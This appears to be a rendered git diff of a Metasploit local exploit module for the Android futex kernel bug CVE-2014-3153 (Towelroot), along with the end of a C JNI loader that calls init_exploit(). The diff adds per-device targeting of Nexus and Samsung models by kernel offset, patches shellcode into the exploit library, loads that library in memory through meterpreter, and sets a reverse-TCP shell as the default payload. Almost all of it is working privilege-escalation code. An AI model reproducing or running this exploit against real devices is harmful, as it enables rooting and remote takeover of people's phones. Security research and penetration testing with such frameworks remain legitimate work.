if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
init_exploit();
|
||||
|
||||
return JNI_VERSION_1_4;
|
||||
}
|
||||
|
||||
JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
|
||||
{
|
||||
}
|
|
@ -32,52 +32,148 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
[ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
|
||||
[ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],
|
||||
],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Platform' => 'android',
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'DisclosureDate' => "May 03 2014",
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
"Platform" => [ "android", "linux" ],
|
||||
'Payload' => { 'Space' => 2048, },
|
||||
"Arch" => ARCH_ARMLE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
|
||||
},
|
||||
{
|
||||
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => "May 03 2014"
|
||||
'Targets' => [
|
||||
# Automatic targetting via getprop ro.build.model
|
||||
['Automatic Targeting', { 'auto' => true }],
|
||||
|
||||
# This is the default setting, Nexus 4, 5, 7, etc
|
||||
['Default',
|
||||
{
|
||||
'new_samsung' => false,
|
||||
'iovstack' => 2,
|
||||
'offset' => 0,
|
||||
'force_remove' => false,
|
||||
}
|
||||
],
|
||||
|
||||
# Samsung devices, S4, S5, etc
|
||||
['New Samsung',
|
||||
{
|
||||
'new_samsung' => true,
|
||||
'iovstack' => 2,
|
||||
'offset' => 7380,
|
||||
'force_remove' => true,
|
||||
}
|
||||
],
|
||||
|
||||
# Older Samsung devices, e.g the Note 2
|
||||
['Old Samsung',
|
||||
{
|
||||
'new_samsung' => false,
|
||||
'iovstack' => 1,
|
||||
'offset' => 0,
|
||||
'force_remove' => true,
|
||||
}
|
||||
],
|
||||
|
||||
# Samsung Galaxy Grand, etc
|
||||
['Samsung Grand',
|
||||
{
|
||||
'new_samsung' => false,
|
||||
'iovstack' => 5,
|
||||
'offset' => 0,
|
||||
'force_remove' => true,
|
||||
}
|
||||
],
|
||||
]
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def put_local_file(remotefile)
|
||||
localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" )
|
||||
data = File.read(localfile, {:mode => 'rb'})
|
||||
write_file(remotefile, data)
|
||||
register_options(
|
||||
[
|
||||
OptInt.new("ListenerTimeout", [ true, "The maximum number of seconds to wait for a session", 300])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
target_index = 1 #default
|
||||
if target['auto']
|
||||
product = cmd_exec("getprop ro.build.product")
|
||||
fingerprint = cmd_exec("getprop ro.build.fingerprint")
|
||||
print_status("Found device: #{product}")
|
||||
print_status("Fingerprint: #{fingerprint}")
|
||||
|
||||
if [
|
||||
"mako",
|
||||
"m7",
|
||||
"hammerhead",
|
||||
"grouper",
|
||||
"Y530-U00",
|
||||
"G6-U10",
|
||||
"g2",
|
||||
"w7n",
|
||||
"D2303",
|
||||
"cancro",
|
||||
].include? product
|
||||
target_index = 1
|
||||
elsif [
|
||||
"klte",
|
||||
"jflte",
|
||||
].include? product
|
||||
target_index = 2 # New Samsung
|
||||
elsif [
|
||||
"t03g",
|
||||
"m0",
|
||||
].include? product
|
||||
target_index = 3 # Old Samsung
|
||||
elsif [
|
||||
"baffinlite",
|
||||
"Vodafone_785",
|
||||
].include? product
|
||||
target_index = 4 # Samsung Grand
|
||||
else
|
||||
print_status("Could not automatically target #{product}")
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Using target: #{targets[target_index].name}")
|
||||
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.so" )
|
||||
exploit_data = File.read(local_file, {:mode => 'rb'})
|
||||
|
||||
# Substitute the exploit shellcode with our own
|
||||
space = payload_space
|
||||
payload_encoded = payload.encoded
|
||||
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
|
||||
|
||||
# Apply the target config
|
||||
offsets = targets[target_index].opts
|
||||
config_buf = [
|
||||
offsets['new_samsung'] ? -1 : 0,
|
||||
offsets['iovstack'].to_i,
|
||||
offsets['offset'].to_i,
|
||||
offsets['force_remove'] ? -1 : 0,
|
||||
].pack('I4')
|
||||
exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf)
|
||||
|
||||
workingdir = session.fs.dir.getwd
|
||||
exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
write_file(remote_file, exploit_data)
|
||||
|
||||
put_local_file(exploitfile)
|
||||
cmd_exec('/system/bin/chmod 700 ' + exploitfile)
|
||||
write_file(payloadfile, payload.raw)
|
||||
|
||||
tmpdir = datastore['WritableDir']
|
||||
rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar"
|
||||
|
||||
rootcmd = " mkdir #{rootclassdir} && "
|
||||
rootcmd += "cd #{rootclassdir} && "
|
||||
rootcmd += "cp " + payloadfile + " #{rootpayload} && "
|
||||
rootcmd += "chmod 766 #{rootpayload} && "
|
||||
rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload"
|
||||
|
||||
process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true})
|
||||
process.channel.read
|
||||
print_status("Loading exploit library #{remote_file}")
|
||||
old_timeout = session.response_timeout
|
||||
print_status("Be patient, this exploit will automatically timeout after #{datastore['ListenerTimeout']} seconds")
|
||||
session.response_timeout = datastore['ListenerTimeout']
|
||||
session.core.load_library(
|
||||
'LibraryFilePath' => local_file,
|
||||
'TargetFilePath' => remote_file,
|
||||
'UploadLibrary' => false,
|
||||
'Extension' => false,
|
||||
'SaveToDisk' => false
|
||||
)
|
||||
session.response_timeout = old_timeout
|
||||
print_status("Loaded library #{remote_file}")
|
||||
session.fs.file.rm(remote_file)
|
||||
print_status("Library #{remote_file} was deleted")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue